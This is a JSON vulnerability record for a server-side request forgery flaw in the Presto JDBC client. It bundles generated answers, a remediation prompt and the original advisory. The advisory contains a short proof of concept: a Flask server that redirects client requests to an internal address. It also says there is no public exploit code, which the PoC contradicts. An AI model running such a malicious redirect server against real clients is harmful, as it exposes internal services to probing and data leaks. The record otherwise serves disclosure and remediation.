{"answers":{"affected":"2 open source packages ship an affected version, including com.facebook.presto:presto-jdbc.","exploited":"There is no known exploitation of GHSA-xm7x-f3w2-4hjm in the wild and no public exploit code.","fix":"No fix has been published for GHSA-xm7x-f3w2-4hjm yet. Limit exposure of the affected software until one is available.","what":"GHSA-xm7x-f3w2-4hjm is a server-side request forgery vulnerability in com.facebook.presto:presto-jdbc, published on 3 Oct 2023. An attacker can exploit it over the internet without logging in, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-xm7x-f3w2-4hjm and fix it if it is affected.\n\nWhat it is: GHSA-xm7x-f3w2-4hjm is a server-side request forgery vulnerability in com.facebook.presto:presto-jdbc, published on 3 Oct 2023. An attacker can exploit it over the internet without logging in, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-xm7x-f3w2-4hjm in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- com.facebook.presto:presto-jdbc (Maven): affected all versions up to 0.283; no fix listed\n- com.facebook.presto:presto-jdbc (Maven): affected all versions up to 0.283; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-xm7x-f3w2-4hjm/ (Markdown: https://insights.sbomify.com/GHSA-xm7x-f3w2-4hjm/index.md)","id":"GHSA-xm7x-f3w2-4hjm","markdown":"https://insights.sbomify.com/GHSA-xm7x-f3w2-4hjm/index.md","name":"GHSA-xm7x-f3w2-4hjm","record":{"aliases":[],"analysis":{"component_type":"library","fix_type":"patch","impacts":["data_read","denial_of_service"],"network_reachable":"yes","non_default_config":false,"product_category":"Presto JDBC client","requires_auth":"none","summary":"Attacker-controlled Presto server can redirect JDBC client to internal services, leaking sensitive data or enabling port scanning.","user_interaction":"not_required","vuln_class":"ssrf"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\n\nPresto JDBC is vulnerable to Server-Side Request Forgery (SSRF) when connecting a remote Presto server. An attacker can construct a redirect response that Presto JDBC client will follow and view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Details\n\nPresto JDBC client uses OkHttp to send `POST /v1/statement` and `GET /v1/info` requests to the remote Presto server. And OkHttp will follow 301 and 302 redirect by default. In addition, JDBC will manually follow 307 and 308 redirect. Therefore, if a malicious server returns a 30x redirect,  JDBC client will follow the redirect and cause SSRF.\n\nFor unexpected responses, JDBC will put the response body into the error. So the response of the internal server will be leaked if the server also returns the error directly to the user.\n\nThe relevant code is in file path `/presto-client/src/main/java/com/facebook/presto/client/StatementClientV1.java` and function `StatementClientV1` .\n\nThe flowchart is as follows:\n\n\u003cimg src=\"https://s2.loli.net/2023/09/18/AhiHNL5neuYIK4X.png\" alt=\"trino_jdbc_ssrf_1.png\" style=\"zoom:50%;\" /\u003e\n\n### PoC\n\nRunning an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('/v1/statement', methods=['POST'])\ndef redirect_to_interal_server():\n    return redirect('http://127.0.0.1:8888', code=302)\n\nif __name__ == '__main__':\n    app.run(host=\"0.0.0.0\",port=8000)\n```\n\nConnecting to the malicious server using JDBC:\n\n```java\nString url = \"jdbc:presto://\u003cip\u003e:\u003cport\u003e\";\nProperties properties = new Properties();\nproperties.setProperty(\"user\", \"root\");\ntry {\n    Connection connection = DriverManager.getConnection(url, properties);\n    Statement stmt = connection.createStatement();\n    ResultSet res = stmt.executeQuery(\"show catalogs\");\n    while(res.next()) {\n        System.out.println(res.getString(1));\n    }\n} catch (Exception e) {\n    e.printStackTrace();\n}\n```\n\nPwned!\n\n### Impact\n\nWhen the target remote Presto server to be connected is controllable,  an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan. \n\n### Others\n\nRegarding the fix suggestions, the redirect issue we can consider directly disable the following redirect. If not, we can add a jdbc parameter such as allowRedirect. Like MySQL JDBC caused arbitrary file reading before, its solution is adding the allowLoadLocalInfile parameters. Disable redirect by default, and there is a need to open. The nextUri issue is similar. If we can only take the path of nextUri instead of the complete URL, join the host and path. If not, add a jdbc parameter too.\n\nI think these two vulnerabilities are worth fixing. There is no effective way to avoid this vulnerability at the server side, and the only way to fix them is modifying the jdbc source code. I think many other vendors also have this issue.\n\nI hope to apply for CVEs and give security thanks in the vulnerability bulletin to prove my work, thank you.\n\nVulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance","ecosystems":["Maven"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Presto JDBC Server-Side Request Forgery by redirect","id":"GHSA-xm7x-f3w2-4hjm","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Maven","product":null,"products":[],"type":"ssrf","year":"2023"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"Maven","fixed":[],"introduced":["0"],"last_affected":["0.283"],"package":"com.facebook.presto:presto-jdbc","purl":null,"source":"GHSA-xm7x-f3w2-4hjm"},{"ecosystem":"Maven","fixed":[],"introduced":["0"],"last_affected":["0.283"],"package":"com.facebook.presto:presto-jdbc","purl":"pkg:maven/com.facebook.presto/presto-jdbc","source":"GHSA-xm7x-f3w2-4hjm"}],"products":null,"published":"2023-10-03","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attacker-controlled Presto server can redirect JDBC client to internal services, leaking sensitive data or enabling port scanning.","url":"https://insights.sbomify.com/GHSA-xm7x-f3w2-4hjm/"}